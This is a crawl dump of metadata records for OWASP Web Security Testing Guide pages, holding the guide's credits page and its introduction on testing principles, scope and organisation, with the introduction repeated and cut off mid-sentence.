you find errors or gaps, open an Issue or submit a Pull Request on the [WSTG GitHub repository](https://github.com/OWASP/wstg/). That helps thousands of others who use this guide.\n\nPlease consider [joining us](https://owasp.org/membership/) as an individual or corporate member so that we can continue to produce materials like this testing guide and the other projects at OWASP.\n\nThank you to all past and future contributors to this guide. Your work helps make applications worldwide more secure.\n\n---\n\nOpen Worldwide Application Security Project and OWASP are registered trademarks of the OWASP Foundation, Inc.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5380, "slov": 819, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:33", "sha256": "9e49efa40e9297502236716af2cd4fae51d03d9b5bc7cdcbcb0f83ce11c6fd1e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/", "https://www.zaproxy.org/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/1-About/", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/1-About/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/1-About/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "1-About"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "1. About"}, {"uroven": 2, "text": "Welcome"}, {"uroven": 2, "text": "Copyright and Licensee"}, {"uroven": 2, "text": "Leaders"}, {"uroven": 2, "text": "Core Team"}, {"uroven": 2, "text": "Authors"}, {"uroven": 2, "text": "Graphic Designers"}, {"uroven": 2, "text": "Reviewers or Editors"}, {"uroven": 2, "text": "Trademarks"}, {"uroven": 2, "text": "Contacting OWASP"}, {"uroven": 3, "text": "Follow Us"}], "markdown": "# WSTG - Latest\n\n# 1. About\n\n## Welcome\n\n> As we focus on incremental improvement, this release introduces numerous updates. We’ve standardized scenario formats to create a better reading experience, added objectives for each testing scenario, merged sections, and added new scenarios on some modern testing topics.\n> \n> - Rick Mitchell\n\nOWASP thanks the many authors, reviewers, and editors for their hard work in bringing this guide to where it is today. If you have any comments or suggestions on the Testing Guide, please feel free to open an Issue or submit a fix/contribution via Pull Request to our [GitHub repository](https://github.com/OWASP/wstg/).\n\n## Copyright and Licensee\n\nCopyright © 2026 The OWASP® Foundation.\n\nThis document is released under the [Creative Commons 4.0 License](https://creativecommons.org/licenses/by-sa/4.0/). Please read and understand the license and copyright conditions.\n\n## Leaders\n\n- Elie Saad\n- Rick Mitchell\n\n## Core Team\n\n- Rejah Rehim\n- Victoria Drake\n\n## Authors\n\n- Aaron Williams\n- Alessia Michela Di Campi\n- Alexander Bas\n- Elie Saad\n- Felix Sieges\n- Himasree Kolathur\n- Ismael Goncalves\n- Janos Zold\n- Jeremy Bonghwan Choi\n- Jinson Varghese Behanan\n- Joel Espunya\n- Joel Aviad Ossi\n- Manh Pham Tien\n- Mark Clayton\n- Meysam Bal-afkan\n- Mohamed Bassia (0xBassia)\n- Mohammad Hossein Sadeghian\n- Omar Jezi\n- Or Asaf\n- Phu Nguyen (Tony)\n- rbsec\n- Rick Mitchell\n- Rishu Ranjan\n- Rubal Jain\n- Samuele Casarin\n- Sevban Dönmez\n- Stefano Calzavara\n- Tal Argoni\n- Victoria Drake\n\n## Graphic Designers\n\n- Hugo Costa\n- Jishnu Vijayan C K\n- Muhammed Anees\n- Ramzi Fazah\n\n## Reviewers or Editors\n\n- Abhi M Balakrishnan\n- Asharaf Ali\n- Elie Saad\n- Eoin Murphy\n- Evan Read (alp1n3-eth)\n- Francisco Bustos\n- frozensolid\n- Hsiang-Chih Hsu\n- Jeremy Bonghwan Choi\n- Jinson Varghese Behanan\n- Lukasz Lubczynski\n- Miguel Arevalo\n- Najam Ul Saqib\n- Nikoleta Misheva\n- Olivier Konaté\n- Patrick Santos\n- Rejah Rehim\n- Rick Mitchell\n- Roman Mueller\n- Thomas Lim\n- Tom Bowyer\n- Victoria Drake\n\n## Trademarks\n\n- Java, Java Web Server, and JSP are registered trademarks of Sun Microsystems, Inc.\n- Merriam-Webster is a trademark of Merriam-Webster, Inc.\n- Microsoft is a registered trademark of Microsoft Corporation.\n- Octave is a service mark of Carnegie Mellon University.\n- Open Worldwide Application Security Project and OWASP are registered trademarks of the OWASP Foundation, Inc.\n- VeriSign and Thawte are registered trademarks of VeriSign, Inc.\n- Visa is a registered trademark of VISA USA.\n\nAll other products and company names may be trademarks of their respective owners. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.\n\n## Contacting OWASP\n\nContact details for the [OWASP Foundation](https://owasp.org/) are available [online](https://owasp.org/contact/). If you have a question concerning a particular project, we strongly recommend using the [Google Group](https://groups.google.com/a/owasp.org/forum/) for that project. Many questions can also be answered by searching the [OWASP](https://owasp.org/) site, so please check there first.\n\n### Follow Us\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3123, "slov": 424, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:34", "sha256": "2de8e21055236c040fe279b868ec87d6f4d6018b4134a2c216c4d777752d202b", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/", "https://creativecommons.org/licenses/by-sa/4.0/", "https://groups.google.com/a/owasp.org/forum/", "https://www.linkedin.com/company/owasp/", "https://twitter.com/owasp_wstg", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "2-Introduction"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "2. Introduction"}, {"uroven": 2, "text": "Purpose and Scope"}, {"uroven": 2, "text": "Why Web Application Security Testing Matters"}, {"uroven": 3, "text": "Economic Impact"}, {"uroven": 3, "text": "Expanding Attack Surface"}, {"uroven": 3, "text": "Pace of Development vs. Pace of Threats"}, {"uroven": 2, "text": "Who Should Use This Guide"}, {"uroven": 2, "text": "Core Principles of Effective Security Testing"}, {"uroven": 3, "text": "No Silver Bullet"}, {"uroven": 3, "text": "Continuous Security Testing"}, {"uroven": 3, "text": "Risk and Impact-Based Prioritization"}, {"uroven": 3, "text": "Balanced Testing Approach"}, {"uroven": 3, "text": "Clear, Actionable Reporting"}, {"uroven": 3, "text": "Adaptability to Your Context"}, {"uroven": 2, "text": "How the Guide Is Organized"}, {"uroven": 2, "text": "How to Reference WSTG Scenarios"}, {"uroven": 3, "text": "Linking"}, {"uroven": 2, "text": "Feedback and Comments"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# 2. Introduction\n\n## Purpose and Scope\n\nThe OWASP Web Security Testing Guide (WSTG) is a comprehensive, open-source, community-maintained framework and set of practical techniques for testing the security of web applications and web services. It is not a rigid checklist or a compliance standard, but rather a methodology and technique reference designed to adapt to your organization’s threat model, risk tolerance, and development practices.\n\n> “Security should not be a black art or closed secret that only a few can practice.” - Eoin Keary\n\nThe guide covers:\n\n- Traditional web applications and modern cloud-native services.\n- Infrastructure configuration, cloud deployments, and containerization.\n- Identity, authentication, authorization, and session management controls.\n- Input validation, encoding, and output handling.\n- Error handling and exception management.\n- Cryptographic implementations.\n- Business logic and workflow security.\n- Client-side technologies and user interface security.\n- API security and integration points.\n\nThe guide does not replace: formal risk frameworks such as [NIST Risk Management Framework](https://csrc.nist.gov/projects/risk-management/), comprehensive threat-modeling methodologies, detailed remediation guidance (see the [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) for that), comprehensive source code security review (which requires white-box access and architectural knowledge beyond testing), organization-specific security policies, or specialized AI/LLM application testing (see [OWASP AI Testing Guide](https://owasp.org/www-project-ai-testing-guide/) and [OWASP Top 10 for LLM Applications](https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/)).\n\n## Why Web Application Security Testing Matters\n\nWeb application security testing has become critical to managing risk in today’s threat landscape. Several forces drive this urgency:\n\n### Economic Impact\n\nThe [IBM Cost of a Data Breach Report 2026](https://www.ibm.com/reports/data-breach) found that the global average cost of a data breach has reached $4.99 million (USD), with U.S. breaches averaging $11.5 million (USD). AI-driven attacks - now present in over a quarter of reported breaches - add an average of $1 million (USD) per breach. Beyond direct costs, breaches cause operational disruption, regulatory fines, reputational damage, and loss of customer trust.\n\n### Expanding Attack Surface\n\nThe traditional perimeter-based security model no longer applies. Modern applications now expose risk across:\n\n- Public APIs and microservices\n- Cloud-native infrastructure and serverless functions\n- Third-party integrations and open-source dependencies\n- Client-side code running in browsers and mobile apps\n- Supply chain risks, including compromised packages and tampered build processes\n\nA comprehensive testing program must address all of these surfaces.\n\n### Pace of Development vs. Pace of Threats\n\nTwo opposing forces create urgency:\n\n1. AI-assisted development accelerates code production. Higher code velocity, if not matched by security discipline, increases the likelihood that classic vulnerabilities (injection flaws, broken authentication, business logic errors) are introduced faster than traditional testing can catch them.\n2. AI-augmented testing tools accelerate certain detection tasks. Dynamic and static application security testing (DAST/SAST) tools powered by machine learning can find common, known vulnerabilities more efficiently. However, these tools do not replace skilled human analysis for business logic flaws, authorization bypass, and context-specific risks that require understanding the application’s intended behavior. Further, AI-assisted attacks enable adversaries to probe defenses faster and adapt to countermeasures in near real-time, which will certainly increase the pace of breaches.\n\nThe solution is not to choose between human testing and tooling, but to layer both: automated scanning for low-hanging fruit, combined with targeted manual testing (perhaps even AI supplemented), and code review to find design and logic flaws.\n\n## Who Should Use This Guide\n\nThe WSTG is designed for:\n\n- Penetration testers and security consultants who conduct application assessments.\n- In-house security and quality assurance teams that test software throughout development.\n- Developers and DevSecOps engineers who integrate security testing into CI/CD pipelines.\n- Security architects who design testing strategies and compliance programs.\n- Auditors and compliance officers who validate application security controls.\n- Product owners and engineering managers who scope, resource, and prioritize testing efforts.\n\nSecondary audiences include tool developers and organizations running public bug-bounty programs. The testing techniques and taxonomy in this guide are equally applicable to internal testing, third-party penetration tests, and coordinated-disclosure / bug-bounty engagements.The differences lie in authorization, rules of engagement, and how results are reported and remediated.\n\n## Core Principles of Effective Security Testing\n\nEffective security testing rests on these principles:\n\n### No Silver Bullet\n\nAutomated tools (DAST, SAST, dependency scanning) are necessary and valuable, but they are insufficient on their own. Even the most sophisticated application security scanning tools cannot match the reasoning and creativity of an experienced security tester. Tools excel at finding known, signature-based vulnerabilities; they do not understand business logic or context. Security is a process of continuous improvement, not a product that can be “bought” once.\n\n### Continuous Security Testing\n\nThe traditional approach-testing only after development is “complete” is wasteful and ineffective. The cost of fixing a security bug grows exponentially as it moves downstream: a flaw caught during design costs a fraction of one caught in production. Modern practices integrate security testing throughout the development lifecycle:\n\n- During design and architecture review (threat modeling).\n- During development (secure code review, unit-level security tests).\n- During integration and system testing (penetration testing, security acceptance tests).\n- In production (continuous monitoring, security regression testing).\n\nContinuous integration and continuous deployment (CI/CD) pipelines provide an opportunity to automate baseline security checks (SAST, ßdependency scanning) at every build, keeping security front-of-mind for the entire team.\n\n### Risk and Impact-Based Prioritization\n\nPrioritize testing effort based on risk, not on finding counts. A single critical authorization bypass affecting user data is more important than dozens of low-risk cross-site scripting (XSS) findings. Develop a risk model tailored to your application (e.g., confidentiality and integrity of customer data may dominate over availability), and focus testing on the controls and surfaces most critical to that risk.\n\n### Balanced Testing Approach\n\nNo single testing technique is sufficient. A mature program combines:\n\n- Manual inspection and design review: to assess policies, architecture, and security process.\n- Threat modeling: to identify potential attack vectors early in the lifecycle.\n- Source code review: to find subtle flaws (business logic errors, cryptographic weaknesses, race conditions) that tools often miss or that are hard to detect from a black-box perspective.\n- Penetration testing: to validate that vulnerabilities can actually be exploited and understand their real-world impact.\n- Automated scanning (SAST, DAST, SCA): to identify common, known vulnerabilities at scale.\n\nThe relative effort devoted to each technique should shift based on the SDLC phase: emphasis on manual review and threat modeling early, automation and testing later.\n\n### Clear, Actionable Reporting\n\nTest findings must be understandable and actionable for developers and business stakeholders. A report should:\n\n- Explain *what* was tested and *how* it was tested (so results can be reproduced).\n- Describe the *root cause* of each issue (so that they are hopefully less likely to reoccur in the future).\n- Provide *concrete remediation guidance* or reference to secure coding guidance (so developers know what to fix).\n- Assign a *severity or risk rating* to help prioritize remediation effort.\n- Clearly communicate the *business impact* so non-technical stakeholders understand why remediation matters.\n\n### Adaptability to Your Context\n\nThere is no one-size-fits-all testing approach. The depth and breadth of testing must adapt to your application’s architecture, data sensitivity, threat model, and risk tolerance. A small internal tool requires different testing rigor than a customer-facing financial application. A mature DevSecOps team can shift testing earlier into automated pipelines; a team new to security testing may start with lighter checklist-based approaches and mature from there. The WSTG provides the framework and the flexibility to help in a variety of application architectures.\n\n## How the Guide Is Organized\n\nThis document is structured as follows:\n\n- This Introduction: Sets context, scope, and principles.\n- The OWASP Testing Framework: Explains how the testing framework integrates with development phases (define, design, develop, test, deploy, maintain); covers continuous integration practices, bug-bounty program design, and AI-augmented testing workflows.\n- Web Application Security Testing Categories: Provides concrete, how-to-test procedures for each major testing area (e.g., authentication, input validation, business logic).\n- Reporting: Guidance on test reporting formats, severity assessment, and communicating results to different audiences.\n- Appendices: Testing tools, suggested reading, versioning history.\n\nReaders new to security testing should start here and then progress to [Section 3](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/README) for an understanding of when and how testing fits into modern development practices. Practitioners looking for specific test procedures should jump directly to [Section 4](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/README).\n\n## How to Reference WSTG Scenarios\n\nEach scenario has an identifier in the format `WSTG--`, where: ‘category’ is a 4 character upper case string that identifies the type of test or weakness, and ‘number’ is a zero-padded numeric value from 01 to 99. For example:`WSTG-INFO-02` is the second Information Gathering test.\n\nThe identifiers may change between versions therefore it is preferable that other documents, reports, or tools use the format: `WSTG---`, where: ‘version’ is the version tag with punctuation removed. For example: `WSTG-v42-INFO-02` would be understood to mean specifically the second Information Gathering test from version 4.2.\n\nIf identifiers are used without including the `` element then they should be assumed to refer to the latest Web Security Testing Guide content. Obviously as the guide grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\n### Linking\n\nLinking to Web Security Testing Guide scenarios should be done using versioned links not `stable` or `latest` which will definitely change with time. However, it is the project team’s intention that versioned links not change. For example: `https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server`. Note: the `v42` element refers to version 4.2.\n\n## Feedback and Comments\n\nAs with all OWASP projects, we welcome feedback and contributions. If you discover an error, a gap in coverage, an outdated reference, or a technique that should be added or revised, please open an issue or submit a pull request on the [WSTG GitHub repository](https://github.com/OWASP/wstg). This guide is living documentation maintained by the community, and your input helps keep it accurate and relevant. We especially value real-world reports of tests that work and tests that don’t, so that the guide remains practical for practitioners.\n\nThe Web Security Testing Guide is one part of a wider set of OWASP projects that support building and testing secure applications:\n\n- [OWASP Application Security Verification Standard (ASVS)](https://owasp.org/www-project-application-security-verification-standard/) : A catalog of functional security requirements that provides the “what to test” baseline. ASVS v5.0 (released May 2025) includes modern cloud-native architectures and clearer control definitions.\n- [OWASP Top 10 (2025)](https://owasp.org/Top10/2025/) and [OWASP API Security Top 10 (2023)](https://owasp.org/www-project-api-security/) : Consensus rankings of the most critical security risks for web applications and APIs. These help prioritize testing focus.\n- [OWASP Top 10 for Large Language Model Applications](https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/) and [OWASP AI Testing Guide](https://owasp.org/www-project-ai-testing-guide/) : Specialized guidance for testing AI and LLM-powered applications, including prompt injection, hallucination, and model poisoning risks.\n- [OWASP AI Exchange](https://owaspai.org/) : A community-driven knowledge base and framework for understanding and managing AI security risks, including AI governance, risk assessments, and AI-specific threat models.\n- [OWASP Mobile Application Security (MASVS/MASTG)](https://owasp.org/www-project-mobile-app-security/) : Security verification standard and testing guide for iOS and Android applications.\n- [OWASP Open Common Requirements Enumeration (OpenCRE)](https://www.opencre.org/) : A reference mapping framework that links security requirements, testing methods, and controls across multiple standards and frameworks (ASVS, NIST, ISO, CWE, etc.), helping contextualize WSTG guidance within the broader security landscape.\n- [OWASP Software Assurance Maturity Model (SAMM)](https://owaspsamm.org/model/) : Framework for assessing and improving an organization’s application security practices across the full SDLC.\n- [OWASP Threat Dragon](https://owasp.org/www-project-threat-dragon/) and [Pythonic Threat Modeling (pytm)](https://owasp.org/www-project-pytm/) : Tools and methodologies for building and documenting threat models.\n- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) : Concise, authoritative guidance on specific security topics (e.g., authentication, cryptography, API security) with code examples and best practices.\n\n## References\n\n- [IBM Cost of a Data Breach Report 2026](https://www.ibm.com/reports/data-breach)\n- [NIST Cybersecurity Framework](https://www.nist.gov/cyberframework)\n- [NIST Risk Management Framework (RMF)](https://csrc.nist.gov/projects/risk-management/)\n- [Common Vulnerability Scoring System (CVSS) v3.1](https://www.first.org/cvss/)\n- [OWASP Testing Guide Checklists](https://github.com/OWASP/wstg/tree/master/checklists)\n\nFor a comprehensive list of suggested reading, tools, and historical context, see Appendices A, B, and E.\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 15132, "slov": 2010, "odkazu": 218, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:51:35", "sha256": "33e3891f40e8225184c89916f4220f2b5cda8a0a7772e5f7f79fffd41d08465e", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://csrc.nist.gov/projects/risk-management/", "https://cheatsheetseries.owasp.org/", "https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/", "https://www.ibm.com/reports/data-breach", "https://github.com/OWASP/wstg", "https://owaspai.org/", "https://www.opencre.org/", "https://owaspsamm.org/model/", "https://www.nist.gov/cyberframework", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/tree/master/checklists", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/README", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/2-Introduction/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "2-Introduction"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "2. Introduction"}, {"uroven": 2, "text": "Purpose and Scope"}, {"uroven": 2, "text": "Why Web Application Security Testing Matters"}, {"uroven": 3, "text": "Economic Impact"}, {"uroven": 3, "text": "Expanding Attack Surface"}, {"uroven": 3, "text": "Pace of Development vs. Pace of Threats"}, {"uroven": 2, "text": "Who Should Use This Guide"}, {"uroven": 2, "text": "Core Principles of Effective Security Testing"}, {"uroven": 3, "text": "No Silver Bullet"}, {"uroven": 3, "text": "Continuous Security Testing"}, {"uroven": 3, "text": "Risk and Impact-Based Prioritization"}, {"uroven": 3, "text": "Balanced Testing Approach"}, {"uroven": 3, "text": "Clear, Actionable Reporting"}, {"uroven": 3, "text": "Adaptability to Your Context"}, {"uroven": 2, "text": "How the Guide Is Organized"}, {"uroven": 2, "text": "How to Reference WSTG Scenarios"}, {"uroven": 3, "text": "Linking"}, {"uroven": 2, "text": "Feedback and Comments"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# 2. Introduction\n\n## Purpose and Scope\n\nThe OWASP Web Security Testing Guide (WSTG) is a comprehensive, open-source, community-maintained framework and set of practical techniques for testing the security of web applications and web services. It is not a rigid checklist or a compliance standard, but rather a methodology and technique reference designed to adapt to your organization’s threat model, risk tolerance, and development practices.\n\n> “Security should not be a black art or closed secret that only a few can practice.” - Eoin Keary\n\nThe guide covers:\n\n- Traditional web applications and modern cloud-native services.\n- Infrastructure configuration, cloud deployments, and containerization.\n- Identity, authentication, authorization, and session management controls.\n- Input validation, encoding, and output handling.\n- Error handling and exception management.\n- Cryptographic implementations.\n- Business logic and workflow security.\n- Client-side technologies and user interface security.\n- API security and integration points.\n\nThe guide does not replace: formal risk frameworks such as [NIST Risk Management Framework](https://csrc.nist.gov/projects/risk-management/), comprehensive threat-modeling methodologies, detailed remediation guidance (see the [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) for that), comprehensive source code security review (which requires white-box access and architectural knowledge beyond testing), organization-specific security policies, or specialized AI/LLM application testing (see [OWASP AI Testing Guide](https://owasp.org/www-project-ai-testing-guide/) and [OWASP Top 10 for LLM Applications](https://genai.owasp.org/initiatives/top-10-for-llm-and-genai/)).\n\n## Why Web Application Security Testing Matters\n\nWeb application security testing has become critical to managing risk in today’s threat landscape. Several forces drive this urgency:\n\n### Economic Impact\n\nThe [IBM Cost of a Data Breach Report 2026](https://www.ibm.com/reports/data-breach) found that the global average cost of a data breach has reached $4.99 million (USD), with U.S. breaches averaging $11.5 million (USD). AI-driven attacks - now present in over a quarter of reported breaches - add an average of $1 million (USD) per breach. Beyond direct costs, breaches cause operational disruption, regulatory fines, reputational damage, and loss of customer trust.\n\n### Expanding Attack Surface\n\nThe traditional perimeter-based security model no longer applies. Modern applications now expose risk across:\n\n- Public APIs and microservices\n- Cloud-native infrastructure and serverless functions\n- Third-party integrations and open-source dependencies\n- Client-side code running in browsers and mobile apps\n- Supply chain risks, including compromised packages and tampered build processes\n\nA comprehensive testing program must address all of these surfaces.\n\n### Pace of Development vs. Pace of Threats\n\nTwo opposing forces create urgency:\n\n1. AI-assisted development accelerates code production. Higher code velocity, if not matched by security discipline, increases the likelihood that classic vulnerabilities (injection flaws, broken authentication, business logic errors) are introduced faster than traditional testing can catch them.\n2. AI-augmented testing tools accelerate certain detection tasks. Dynamic and static application security testing (DAST/SAST) tools powered by machine learning can find common, known vulnerabilities more efficiently. However, these tools do not replace skilled human analysis for business logic flaws, authorization bypass, and context-specific risks that require understanding the application’s intended behavior. Further, AI-assisted attacks enable adversaries to probe defenses faster and adapt to countermeasures in near real-time, which will certainly increase the pace of breaches.\n\nThe solution is not to choose between human testing and tooling, but to layer both: automated scanning for low-hanging fruit, combined with targeted manual testing (perhaps even AI supplemented), and code review to find design and logic flaws.\n\n## Who Should Use This Guide\n\nThe WSTG is designed for:\n\n- Penetration testers and security consultants who conduct application assessments.\n- In-house security and quality assurance teams that test software throughout development.\n- Developers and DevSecOps engineers who integrate security testing into CI/CD pipelines.\n- Security architects who design testing strategies and compliance programs.\n- Auditors and compliance officers who validate application security controls.\n- Product owners and engineering managers who scope, resource, and prioritize testing efforts.\n\nSecondary audiences include tool developers and organizations running public bug-bounty programs. The testing techniques and taxonomy in this guide are equally applicable to internal testing, third-party penetration tests, and coordinated-disclosure / bug-bounty engagements.The differences lie in authorization, rules of engagement, and how results are reported and remediated.\n\n## Core Principles of Effective Security Testing\n\nEffective security testing rests on these principles:\n\n### No Silver Bullet\n\nAutomated tools (DAST, SAST, dependency scanning) are necessary and valuable, but they are insufficient on their own. Even the most sophisticated application security scanning tools cannot match the reasoning and creativity of an experienced security tester. Tools excel at finding known, signature-based vulnerabilities; they do not understand business logic or context. Security is a process of continuous improvement, not a product that can be “bought” once.\n\n### Continuous Security Testing\n\nThe traditional approach-testing only after development is “complete” is wasteful and ineffective. The cost of fixing a security bug grows exponentially as it moves downstream: a flaw caught during design costs a fraction of one caught in production. Modern practices integrate security testing throughout the development lifecycle:\n\n- During design and architecture review (threat modeling).\n- During development (secure code review, unit-level security tests).\n- During integration and system testing (penetration testing, security acceptance tests).\n- In production (continuous monitoring, security regression testing).\n\nContinuous integration and continuous deployment (CI/CD) pipelines provide an opportunity to automate baseline security checks (SAST, ßdependency scanning) at every build, keeping security front-of-mind for the entire team.\n\n### Risk and Impact-Based Prioritization\n\nPrioritize testing effort based on risk, not on finding counts. A single critical authorization bypass affecting user data is more important than dozens of low-risk cross-site scripting (XSS) findings. Develop a risk model tailored to your application (e.g., confidentiality and integrity of customer data may dominate over availability), and focus testing on the controls and surfaces most critical to that risk.\n\n### Balanced Testing Approach\n\nNo single testing technique is sufficient. A mature program combines:\n\n- Manual inspection and design review: to assess policies, architecture, and security process.\n- Threat modeling: to identify potential attack vectors early in the lifecycle.\n- Source code review: to find subtle flaws (business logic errors, cryptographic weaknesses, race conditions) that tools often miss or that are hard to detect from a black-box perspective.\n- Penetration testing: to validate that vulnerabilities can actually be exploited and understand their real-world impact.\n- Automated scanning (SAST, DAST, SCA): to identify common, known vulnerabilities at scale.\n\nThe relative effort devoted to each technique should shift based on the SDLC phase: emphasis on manual review and threat modeling early, automation and testing later.\n\n### Clear, Actionable Reporting\n\nTest findings must be understandable and actionable for developers and business stakeholders. A report should:\n\n- Explain *what* was tested and *how* it was tested (so results can be reproduced).\n- Describe the *root cause* of each issue (so that they are hopefully less likely to reoccur in the future).\n- Provide *concrete remediation guidance* or reference to secure coding guidance (so developers know what to fix).\n- Assign a *severity or risk rating* to help prioritize remediation effort.\n- Clearly communicate the *business impact* so non-technical stakeholders understand why remediation matters.\n\n### Adaptability to Your Context\n\nThere is no one-size-fits-all testing approach. The depth and breadth of testing must adapt to your application’s architecture, data sensitivity, threat model, and risk tolerance. A small internal tool requires different testing rigor than a customer-facing financial application. A mature DevSecOps team can shift testing earlier into automated pipelines; a team new to security testing may start with lighter checklist-based approaches and mature from there. The WSTG provides the framework and the flexibility to help in a variety of application architectures.\n\n## How the Guide Is Organized\n\nThis document is structured as follows:\n\n- This Introduction: Sets context, scope, and principles.\n- The OWASP Testing Framework: Explains how the testing framework integrates with development phases (define, design, develop, test, deploy, maintain); covers continuous integration practices, bug-bounty program design, and AI-augmented testing workflows.\n- Web Application Security Testing Categories: Provides concrete, how-to-test procedures for each major testing area (e.g., authentication, input validation, business logic).\n- Reporting: Guidance on test reporting formats, severity assessment, and communicating results to different audiences.\n- Appendices: Testing tools, suggested reading, versioning history.\n\nReaders new to security testing should start here and then progress to [Section 3](/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/README) for an understanding of when and how testing fits into modern development practices. Practitioners looking for specific test procedures should jump directly to [Section 4](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/README).\n\n## How to Reference WSTG Scenarios\n\nEach scenario has an identifier in the format `WSTG--`, where: ‘category’ is a 4 character upper case string that identifies the type of test or weakness, and ‘number’ is a zero-padded numeric value from 01 to 99. For example:`WSTG-INFO-02` is the second Information Gathering test.\n\nThe identifiers may change between versions therefore it is preferable that other documents, reports, or tools use the format: `WSTG---`, where: ‘version’ is the version tag with punctuation removed. For example: `WSTG-v42-INFO-02` would be understood to mean specifically the second Information Gathering test from version 4.2.\n\nIf identifiers are used without including the `` element then they should be assumed to refer to the latest Web Security Testing Guide content. Obviously as the guide grows and changes this becomes problematic, which is why writers or developers should include the version element.\n\n### Linking\n\nLinking to Web Security Testing Guide scenarios should be done using versioned links not `stable` or `latest` which will definitely change with time. However, it is the project team’s intention that versioned links not change. For example: 